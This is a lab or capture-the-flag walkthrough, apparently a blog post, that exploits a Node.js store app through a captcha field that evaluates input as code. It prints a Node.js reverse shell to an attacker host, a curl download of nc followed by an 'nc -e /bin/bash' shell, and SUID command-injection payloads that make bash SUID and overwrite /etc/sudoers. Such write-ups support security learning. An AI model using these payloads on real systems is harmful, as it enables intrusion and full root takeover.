Look closely at the website parameter, there might be something to get us initial foothold. For Privilege Escalation, check on some binary, and you might need gdb.
Enumeration
nmap -p- $ip -Pn -sT -v -A --open -T 4 -oN nmap.txt
Port 22 and 5000 running http.
Port 5000
From nmap result, we are aware the web apps use node.js framework. Let start browse the website.
It is a store website, and we are able to register an account. Browse around the web seems nothing much, dirb results show not much useful info as well. Let’s test on each parameter if we can find any potential injection.
Testing on parameter
To make our life easier, we use burp to capture all the HTTP requests by browsing and clicking each button. Since it is a small application, this can be done quickly.
Tested on login username password by adding a random special character and observed the error message or response. Seems nothing. Same goes to register page’s parameter. Then move on to the checkout page.
While testing the captcha
parameter, we get an error “ReferenceError: abc is not defined” by enter abc as value.
By googling the error message. it shows that it treats the abc as code. To further test this, first, we try a correct captcha which is 3, it will redirect to Thanks for shopping page. If we enter an incorrect number like 1, it will return “captcha error”.
So we try enter 1*1, it show captcha error. If we enter 1*3, it will redirect to Thanks for shopping page, which means it executes the 1*3.
You would like to avoid using + like 1+2 because + treats as space in HTTP request.
Check if it supports child process and able to execute command
Start nc -nvlp 80
to capture id
command result from the target machine. Then replace captcha value as per below. Basically, we want to test if we are able to execute id
and send the result to our kali nc listener.
Great, let’s get our reverse shell.
Getting reverse shell
When we try replace the payload with nc $KaliIP 80 -e /bin/bash
, it does not connect. We suspect -e
option is not supported by the nc
of the target machine. Alternative,
#You can get this reverse shell payload at revshells.com
captcha=3;(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/bash", []);var client = new net.Socket();client.connect(443, "$KaliIP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()
Or
#Transfer our nc to the target machine
cd /usr/bin
python3 -m http.server 80
#At burp, replace the payload to this, download nc output at /tmp then give execute permission
curl+http%3a//$KaliIP/nc+-o+/tmp/nc+%26%26+chmod+%2bx+/tmp/nc
#Execute the /tmp/nc, remember to stop python http server if you want to use port 80
nc -nlvp 80
#At burp, replace the captcha value
/tmp/nc+$KaliIP+80+-e+/bin/bash
Privilege Escalation
While checking SUID, we found an unknown SUID. You can find this via linpeas or find / -perm /4000 2>/dev/null
Let try to run the binary. It shows the need to input a log file.
We create a log file name 1.log can input some random string in there and use log_reader to read it. It just display the content of 1.log.
Then we try to read /etc/shadow but nothing show up, not even error message. We tried strings /usr/loca/bin/log_reader
but did not seems to find any useful string in the result. Then we try strace /usr/local/bin/log_reader 1.log
and checked the process, but nothing much as well.
Then we check what other tools we have to help us understand this binary better via ls /usr/bin
or from linpeas result.
We have gdb on this machine. Gdb is a very good debugging tools.
#At the target machine
gdb -q /usr/local/bin/log_reader
#In gdb terminal, use list command to list source code, this allow us better understand what the binary does
list
You can find gdb cheatsheet here.
It shows the file MIA. We check the /tmp directory if is hidden or what but NOPE. Then we try to find the file find / -name “log_reader.c” 2>/dev/null
. We found it at /usr/share/src/log_reader.c
.
By checking the file, we notice there is no input validation for the file name, as it only checks if .log exists in the file name.
From the readFile function, we notice it uses cat
to read the log file, and the filename
is user input where we input the log file to read. It uses strcat
to combine the command and filename, then use popen
to execute the command.
strcat(command, filename);
strcat
is a function used to concatenate two strings. Here, it appends the stringfilename
to the end of the stringcommand
.result = popen(command, "r");
popen
executes the stringcommand
as a shell command and opens a pipe to read the output of this command.The
"r"
argument specifies that the pipe is opened in read mode.
In this case, if we input a filename like 1.log&&id, the binary will execute as cat 1.log&&id
. Let’s give it a try.
Based on the diagram above, the 2.txt file was created by root. This means we can execute command as root. Let’s get us a root shell.
#Method 1
/usr/local/bin/log_reader "1.log;chmod u+s /bin/bash"
/bin/bash -p
#Method 2
/usr/local/bin/log_reader "1.log&&echo 'observer ALL=(root) NOPASSWD: ALL' > /etc/sudoers"
sudo bash
Congratz !! Hope you learn something from this walkthrough. Check out my stories for other proving grounds machine walkthroughs. Leave a comment if you found another way to pawn this machine.